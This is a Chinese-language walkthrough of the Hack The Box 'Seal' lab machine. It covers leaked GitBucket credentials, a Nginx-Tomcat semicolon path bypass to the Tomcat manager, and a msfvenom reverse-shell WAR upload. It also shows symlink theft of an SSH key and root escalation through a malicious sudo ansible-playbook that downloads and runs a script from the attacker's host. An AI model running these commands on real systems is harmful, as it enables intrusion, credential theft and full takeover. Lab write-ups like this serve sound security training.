[Meachines] [Medium] Seal Nginx-tomcat-Misconfig+ln+TRP00F+ansible-playbook+SKBD
字数 1335 2025-08-29 22:41:38
Nginx-Tomcat 配置错误漏洞利用与权限提升完整指南
1. 信息收集阶段
1.1 初始扫描
目标IP: 10.10.10.250
开放端口:
- 22/tcp - OpenSSH 8.2p1 (Ubuntu)
- 443/tcp - nginx 1.18.0 (Ubuntu)
- 8080/tcp - http-proxy (Tomcat)
SSL证书信息:
commonName=seal.htb
organizationName=Seal Pvt Ltd
stateOrProvinceName=London
countryName=UK
有效期: 2021-05-05 至 2022-05-05
1.2 服务识别
- 8080端口: Tomcat服务,需要认证(401 Unauthorized)
- 443端口: Nginx服务,返回400错误(HTTP请求发送到HTTPS端口)
2. 漏洞发现与利用
2.1 GitBucket配置泄露
访问: http://10.10.10.250:8080/signin;jsessionid=node01a58x8lkg5rxz7li3qedmuhh137.node0?redirect=%2F
发现GitBucket仓库中的敏感信息:
- 用户凭证:
tomcat:42MrHBf*z8{Z% - 配置文件:
http://10.10.10.250:8080/root/seal_market/blob/master/nginx/sites-enabled/default
2.2 Nginx-Tomcat路径处理不当漏洞
漏洞原理:
- Nginx配置将请求代理到本地的8000端口
- Nginx保留URL中的分号(;)及其后参数
- Tomcat将分号后的内容视为"路径参数",不作为实际路径的一部分
示例:
http://127.0.0.1:8000/test;tttt/aaad
Tomcat实际解析为: http://127.0.0.1:8000/test/aaad
2.3 漏洞利用步骤
-
访问Tomcat管理界面:
https://10.10.10.250/;fuck/manager/html -
生成反向shell war文件:
msfvenom -p java/shell_reverse_tcp lhost=10.10.16.15 lport=443 -f war -o shell.war -
上传war文件:
/manager/.;/html/upload?org.apache.catalina.filters.CSRF_NONCE=4B107F08CB2ABE4C1BF1912236D0141C -
执行shell:
curl https://10.10.10.250/;aaa/shell/
3. 权限提升阶段
3.1 从Tomcat到用户luis
发现Ansible playbook存在符号链接漏洞:
ln -s /home/luis/ /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/hacked
获取luis用户的SSH私钥:
cat /tmp/dashboard/uploads/hacked/.ssh/id_rsa
获取用户flag:
2a141da309192304f7a66987be277f1b
3.2 使用TRP00F工具
项目地址: https://github.com/MartinxMax/trp00f
3.3 使用Ansible-playbook和SKBD提权
-
检查sudo权限:
sudo -l -
创建恶意playbook文件(maptnh.yml):
- hosts: localhost tasks: - name: map shell: bash -c '/tmp/skbd.sh -e "https://10.10.16.15:9191"' -
下载并执行SKBD工具:
wget http://10.10.16.15:9919/skbd.sh;chmod +x skbd.sh sudo /usr/bin/ansible-playbook maptnh.yml -
SKBD交互:
SKBD # info SKBD # use 1 SKBD[8e7b2e7692df48faa4e42d6cfc791ed2]# show SKBD[8e7b2e7692df48faa4e42d6cfc791ed2]# run SKBD[8e7b2e7692df48faa4e42d6cfc791ed2]# set user luis SKBD[8e7b2e7692df48faa4e42d6cfc791ed2]# run
获取root flag:
b68b96c9181b1160397344db3010b66a
4. 关键工具与资源
- SKBD项目:
https://github.com/MartinxMax/skbd - TRP00F项目:
https://github.com/MartinxMax/trp00f - Ansible调试参考:
https://serverfault.com/questions/537060/how-to-see-stdout-of-ansible-commands
5. 总结
本渗透测试过程展示了如何利用Nginx-Tomcat配置不当漏洞获取初始访问权限,然后通过符号链接漏洞和Ansible playbook提权获取系统完全控制权。关键点包括:
- 识别和利用路径解析不一致漏洞
- 利用GitBucket泄露的凭证
- 使用符号链接攻击横向移动
- 滥用Ansible playbook执行权限进行特权提升